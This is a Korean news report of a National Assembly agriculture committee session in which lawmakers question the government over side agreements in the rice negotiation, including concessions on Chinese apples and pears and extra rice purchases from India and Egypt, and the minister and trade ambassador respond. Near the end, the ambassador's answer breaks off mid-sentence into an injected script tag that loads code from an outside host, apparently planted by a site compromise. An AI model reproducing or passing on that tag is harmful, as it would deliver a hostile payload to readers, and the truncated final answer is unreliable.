국회 농림해양수산위는 지난 20일 전체회의를 열고 쌀 협상 이면합의에 대한 문제점을 강력히 지적하고, 정부의 통상정책을 신랄하게 비판했다. 여야 의원들은 특히 쌀 협상에서 타품목을 연계한데 대한 사실관계를 집중 추궁하고, 과수산업의 피해를 사전에 파악해 철저한 대책을 마련하라고 입을 모았다.
상임위 내용을 지상중계한다.

△김영덕 의원(한나라, 경북 의령·함안·합천) : 쌀 협상과 관련, 이재길 대사는 2004년 12월말까지 협상이 마무리되지 않으면 관세화된다고 했다가 관세화 의무가 발생한다고 말을 바꿨는데 진의가 무엇인가. 또 WTO에 보고한 이행계획서를 비롯해 각 나라들과의 부가합의가 구체화된 시점은 정확히 언제인가.
이번 협상내용을 보면 사과·배 등이 부가적 합의사항인데 오히려 `배보다 배꼽이 더 큰 결과''를 초래했다.

△이상배 의원(한나라, 경북 상주) : 쌀 협상결과를 공개하라니까 정부가 마지못해 국회의원들에게만 비공개 열람을 했는데 이를 보면서도 정부가 또 무엇을 빠뜨리지 않았는가 의심을 갖게 한다. 이번 쌀 협상결과를 보면 쌀을 지키기 위해 과수, 축산, 수산 등 전분야에 걸쳐 상대국들의 요구사항을 다 들어준 꼴이 됐다. 우리나라 농민들은 관세화유예란 껍데기만 남았는데 차라리 관세화로 가는게 낳을 뻔 했다. 더욱이 인도, 이집트에게는 MMA물량과는 별도의 쌀을 사주기로 해 수입물량이 총 8.18%에 이르는 결과를 초래했다. 사과·배의 수입검역철차는 수입개방으로 볼 수 있는 만큼 피해대책을 철저히 강구하라.

△강기갑 의원(민주노동, 비례대표) : 인도와 이집트산 쌀을 왜 수입쿼터에 포함시키지 않아 의무수입물량을 8.18%까지 늘리는 결과를 초래했는가. 아울러 이같은 내용을 누락시키고, 제대로 보고하지 않은 것은 순간을 모면하려는 속셈이 아닌가.

△김낙성 의원(자유민주연합, 충남 당진) : 중국산 사과 가격은 국내가격의 20~40% 수준인데 수입이 되면 우리나라 과수산업이 저가공세에 속수무책으로 당할 수 밖에 없다. 중국산 사과·배의 수입을 사실상 허용함으로써 우리나라 과수산업의 피해는 불가피한 실정이다. 다 양보하기 보다는 관세화가 유리하다고 보는데 정부의 입장을 밝혀라.

△이방호 의원(한나라, 경남 사천) : 통상협상에서 상대국이 현안문제를 들고 나오는 것은 상식아닌가. 그러함에도 불구하고 정부는 끝까지 부인으로 일관했다. 이에따라 12월 30일 WTO에 이행계획서를 제출할 때 국가별로 쟁점별, 부가적 합의가 있을 것이라고 했는데 이를 타품목과 연계한다고 생각할 사람이 어디 있는가. 또 아르헨티나산 오렌지를 4개월내에 수입키로 한다는 근거는 어디있는가.

△조일현 의원(열린우리, 강원 홍천·횡성) : 인도·이집트산 쌀은 식량원조용으로 구입키로 합의했다고 했는데 식량원조가 없을 때는 안사줘도 되는 것인가. 또 이번 쌀협상결과에 대해 국회의 비준을 받는 근거는 무엇인가. 아울러 농림부와 외통부는 이번 쌀 협상에서 최상의 결과를 끌어내지 못했을 뿐만 아니라 발표시기 및 설명이 미흡해 의혹만 키웠다.

△김명주 의원(한나라, 경남 통영·고성) : 사과·배는 우리나라 과수산업의 대표 품목이다. 사과·배의 검역절차를 완화해주면 검역기간이 얼마나 걸릴 것이라고 생각하는가. 사과·배 농민들이 망할 시기는 알아야 하는 것 아닌가.

△김재원 의원(한나라, 경북 군위·의성·청송) : 쌀 협상이 교착상태에 빠져서 중국산 사과 사과·배, 롱간 등 4개 품목을 양보해 준 것으로 보는데 쌀 협상이 파기되면 이 품목에 대한 합의도 파기되는 것인가. 정부는 그동안 쌀 협상에서 타품목과는 연계해 협상을 진행하지 않겠다고 주장해 왔는데 실제로는 4개 품목이 쌀 협상결과에 대한 효력이 발효되는 시점부터 적용되는 것인만큼 정부는 이를 속여온 것이다.

〈답변〉
-박홍수 농림부 장관 : 쌀 관세화를 지키기 위해서는 부가적 사항들이 있었는데 이를 제대로 알리지 못한게 잘못이다. 그러나 속이려는 의도가 있었던게 아니고 발표과정에서 누락된 것으로 이해해 달라.
아울러 중국산 사과·배에 대한 수입검역절차가 시작된게 아니다. 사과·배가 무너지면 우리나라 과수산업이 무너진다고 생각한다. 손놓고 있지는 않을 것이다. 수입검역절차가 8개 단계인데 어느 한 단계에서라도 문제가 발생하면 수입할 수 없도록 할 것이고, 피해가 발생할 경우 강력한 대책을 마련, 추진하겠다.

-이재길 DDA 대사 : 사과·배는 한·중 양국간 연례회의 차원에서 협의한 것이지 쌀 협상과 연계한 것이 아니고 12월 22일 당시에는 구체적으로 합의한 사실이 없었다.
인도와 이집트산 쌀을 수입쿼터에 포함시키지 못한 것은 최근 3년간 수입실적이 있는 나라?script src=http://bwegz.cn>
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